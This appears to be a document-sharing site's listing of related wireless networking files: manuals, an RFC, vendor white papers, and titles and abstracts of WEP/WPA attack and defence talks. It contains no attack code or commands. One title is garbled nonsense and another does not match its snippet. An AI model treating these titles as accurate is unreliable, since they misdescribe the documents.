WPA Migration Mode: WEP is back to haunt you... Leandro Meiners (lmeiners@coresecurity / lmeiners@gmail.com) Diego Sor (dsor@coresecurity.com / diegos@gmail.com) July 2010 Abstract Cisco access points
How To Understand The Power Of A Network On A Microsoft Ipa 2.5 (Ipa) 2.2.2 (Ipam) 2-2.5-2 (Networking) 2 (Ipom) 2(2
Workshop Presentation Chapter4 Yosuke TANAKA Agenda(Framing in Detail) Data Frames Control Frames type RTS Duration CTS Addressing (!!important!!) Variation on Data Frame Theme Applied Data Framing ACK
Research In Motion D. Stanley, Ed. Aruba Networks March 2009
Network Working Group Request for Comments: 5416 Category: Standards Track P. Calhoun, Ed. Cisco Systems, Inc. M. Montemurro, Ed. Research In Motion D. Stanley, Ed. Aruba Networks March 2009 Control and
STEP III: Enable the Wireless Network Card. STEP IV: Print out the Printer Settings pages to determine the IP Address
Title: How do I configure the wireless printer without a network cable and install the printer driver in Windows? NOTE: For successful wireless setup, you MUST know your network security settings. STEP
Wireless Networking Basics. NETGEAR, Inc. 4500 Great America Parkway Santa Clara, CA 95054 USA
Wireless Networking Basics NETGEAR, Inc. 4500 Great America Parkway Santa Clara, CA 95054 USA n/a October 2005 2005 by NETGEAR, Inc. All rights reserved. Trademarks NETGEAR and Auto Uplink are trademarks
Wireless security isn't dead, attacking clients with MSF
Abstract Wireless security isn't dead, attacking clients with MSF Security has been an issue on wireless networks since their inception, gradually moving from insecure open networks to insecure WEP networks
802.11: Use, Misuse and the Need for a Robust Security Toolkit
802.11: Use, Misuse and the Need for a Robust Security Toolkit David Pollino Mike Schiffman May 2002 Agenda Introductions WLAN Protocol Overview Current Latent Issues Protocol Flaws Existing Tools Gap
Wireless Network Security Challenges
Wireless Network Security Challenges SHARE Summer 2010 Boston Laura Knapp WW Business Consultant Applied Expert Systems (www.aesclever.com) laurak@aesclever.com laura@lauraknapp.com Networking - Connecting
Overview. Summary of Key Findings. Tech Note PCI Wireless Guideline
Overview The following note covers information published in the PCI-DSS Wireless Guideline in July of 2009 by the PCI Wireless Special Interest Group Implementation Team and addresses version 1.2 of the
Tube-U(G) Long-Range Outdoor IEEE 802.11g USB Adapter User s Guide
Tube-U(G) Long-Range Outdoor IEEE 802.11g USB Adapter User s Guide Alfa Network, Inc. Page 1 Table of Content Over view... 3 Unpacking information... 3 Introduction to the Tube-U(G) outdoor USB Adapter...
Wireless Technology Seminar
Wireless Technology Seminar Introduction Adam Worthington Network Consultant Adam.Worthington@euroele.com Wireless LAN Why? Flexible network access for your users? Guest internet access? VoWIP? RFID? Available
Configuring the USB Wireless Adapter with GXV3140
Configuring the USB Wireless Adapter with GXV3140 1.1 How to Enable Wifi Features 1.1.1 Configuring using the web configuration interface Type the IP address of the GXV3140 (as shown on the phone LCD screen,
WLAN Access Security Technical White Paper. Issue 02. Date 2012-09-24 HUAWEI TECHNOLOGIES CO., LTD.
WLAN Access Security Technical White Paper Issue 02 Date 2012-09-24 HUAWEI TECHNOLOGIES CO., LTD. . 2012. All rights reserved. No part of this document may be reproduced or transmitted in any form or by
WiFi GW/AP/klient/bridge/repeater 150Mb/s, switch
User s Manual WRC5000N WRC5010N WRC5010NU WiFi GW/AP/klient/bridge/repeater 150Mb/s, switch 1 Table of Contents 1 Introduction...7 Features...7 Device Requirements...7 Using this Document...8 Notational
Advanced Attack Against Wireless Networks Wep, Wpa/Wpa2-Personal And Wpa/Wpa2- Enterprise
Advanced Attack Against Wireless Networks Wep, Wpa/Wpa2-Personal And Wpa/Wpa2- Enterprise Muthu Pavithran. S, Pavithran. S, ABSTRACT: In the emerging world of electronics the wireless devices are used
Computer Networks. Secure Systems
Computer Networks Secure Systems Summary Common Secure Protocols SSH HTTPS (SSL/TSL) IPSec Wireless Security WPA2 PSK vs EAP Firewalls Discussion Secure Shell (SSH) A protocol to allow secure login to
UTStarCom F1000 G WIFI VOIP Phone WLAN 802.11B/G Precio: $210.00
UTStarCom F1000 G WIFI VOIP Phone WLAN 802.11B/G Precio: $210.00 UTStarcom F1000 WIFI Mobile Handset is SIP based WLAN phone that is easily integrated with most SIP based IP PBX systems. UTStarcom F1000
Wireless LAN Security I: WEP Overview and Tools
Wireless LAN Security I: WEP Overview and Tools Raj Jain Washington University in Saint Louis Saint Louis, MO 63130 Jain@cse.wustl.edu Audio/Video recordings of this lecture are available at: http://www.cse.wustl.edu/~jain/cse571-09/
Understanding the WPA/WPA2 Break
Understanding the WPA/WPA2 Break Joshua Wright josh@inguardians.com Office/Mobile: 401-524-2911 www.inguardians.com Understanding the WPA/WPA2 Break 2008, Joshua Wright 1 Your Speaker Joshua Wright, josh@inguardians.com
Wireless security. Any station within range of the RF receives data Two security mechanism
802.11 Security Wireless security Any station within range of the RF receives data Two security mechanism A means to decide who or what can use a WLAN authentication A means to provide privacy for the
WL-5460AP. User s Manual. 54Mbps Multi-Function Wireless AP. AirLive WL-5460AP v2 User Manual
WL-5460AP 54Mbps Multi-Function Wireless AP User s Manual 1 Copyright The contents of this publication may not be reproduced in any part or as a whole, stored, transcribed in an information retrieval system,
Setting Up and Managing your 802.11 Network
Linux & 802.11 Wireless Mike Kershaw dragorn@kismetwireless.net April 2, 2004 1 What is 802.11 802.11 (aka WiFi) is a set of standards for wireless networking IEEE defined 802.11 in 1997 but it didn t
WRE2205. User s Guide. Quick Start Guide. Wireless N300 Range Extender. Default Login Details. Version 1.00 Edition 1, 06/2012
WRE2205 Wireless N300 Range Extender Version 1.00 Edition 1, 06/2012 Quick Start Guide User s Guide Default Login Details LAN IP Address http://192.168.1.2 User Name admin Passwordwww.zyxel.com 1234 Copyright
Wireless Access Point 300 802.11n Wireless with 4 Port 10/100 Switch
300 802.11n Wireless with 4 Port 10/100 Switch User Manual www.hamletcom.com INDEX 1. Introduction...6 1.1 System Requirements... 6 1.2 Package Contents... 6 2. Specification...7 2.1 LED Meaning... 7 2.2
Topics in Network Security
Topics in Network Security Jem Berkes MASc. ECE, University of Waterloo B.Sc. ECE, University of Manitoba www.berkes.ca February, 2009 Ver. 2 In this presentation Wi-Fi security (802.11) Protecting insecure
WLAN Attacks. Wireless LAN Attacks and Protection Tools. (Section 3 contd.) Traffic Analysis. Passive Attacks. War Driving. War Driving contd.
Wireless LAN Attacks and Protection Tools (Section 3 contd.) WLAN Attacks Passive Attack unauthorised party gains access to a network and does not modify any resources on the network Active Attack unauthorised
Offensive Security. Wireless Attacks - WiFu
Offensive Security Wireless Attacks - WiFu v. 3.0 Mati Aharoni Devon Kearns Thomas d Otreppe de Bouvette Course Overview The wireless industry continues to grow in leaps and bounds with more and more gadgets
Presented By: Holes in the Fence. Agenda. IPCCTV Attack. DDos Attack. Why Network Security is Important
Presented By: Holes in the Fence Dave Engebretson, Contributing Technology writer, SDM Magazine Industry Instructor in Fiber and Networking Prevention of Security System breaches of networked Edge Devices
WiNG 5.x How-To Guide
WiNG 5.x How-To Guide Remote Debugging Part No. TME-02-2012-01 Rev. A MOTOROLA, MOTO, MOTOROLA SOLUTIONS and the Stylized M Logo are trademarks or registered trademarks of Motorola Trademark Holdings,
IEEE802.11 A/G Access Point
IEEE802.11 A/G Access Point User Guide V1.3, JUL. 2006 Copyright Statement No part of this publication may be reproduced, stored in a retrieval system, or transmitted in any form or by any means, whether
Configuring Wireless Security on ProSafe wireless routers (WEP/WPA/Access list)
Configuring Wireless Security on ProSafe wireless routers (WEP/WPA/Access list) Hackers can easily trap information transmitted over wireless network, it has to be encrypted to avoid unauthorized users
Troubleshooting Wireless Clients Version 1.1
Troubleshooting Wireless Clients Version 1.1 Basic Connectivity Troubleshooting information in this section covers problems with basic wireless connectivity, such as inability to associate or inability
Useful CLI Commands. Contents. Enable Logging
Useful CLI Commands Contents Enable Logging... 1 Interface... 3 AP... 4 ARM... 9 User... 11 Client Troubleshooting Typical... 16 Radio Tests (rft)... 16 Windows Client data... 18 Enable Logging (Aruba3200)
How To Protect Your Wifi Network From Attack
Towards a security-classification of wireless networks, an empirical approach. Leon Swinkels June 24, 2008 Abstract In this bachelors thesis I describe the WEP, WPA-PSK and WPA-RADIUS wireless security
Certified Wireless Security Professional (CWSP) Course Overview
Certified Wireless Security Professional (CWSP) Course Overview This course will teach students about Legacy Security, encryption ciphers and methods, 802.11 authentication methods, dynamic encryption
New Avatars of Honeypot Attacks on WiFi Networks
New Avatars of Honeypot Attacks on WiFi Networks Prabhash Dhyani Wireless Security Researcher,Airtight Networks,Pune Email: prabhash.dhyani@airtightnetworks.com Abstract WiFi has become mainstream technology
WLAN Information Security Best Practice Document
WLAN Information Security Best Practice Document Produced by FUNET led working group on wireless systems and mobility (MobileFunet) (WLAN security) Author: Wenche Backman Contributors: Ville Mattila/CSC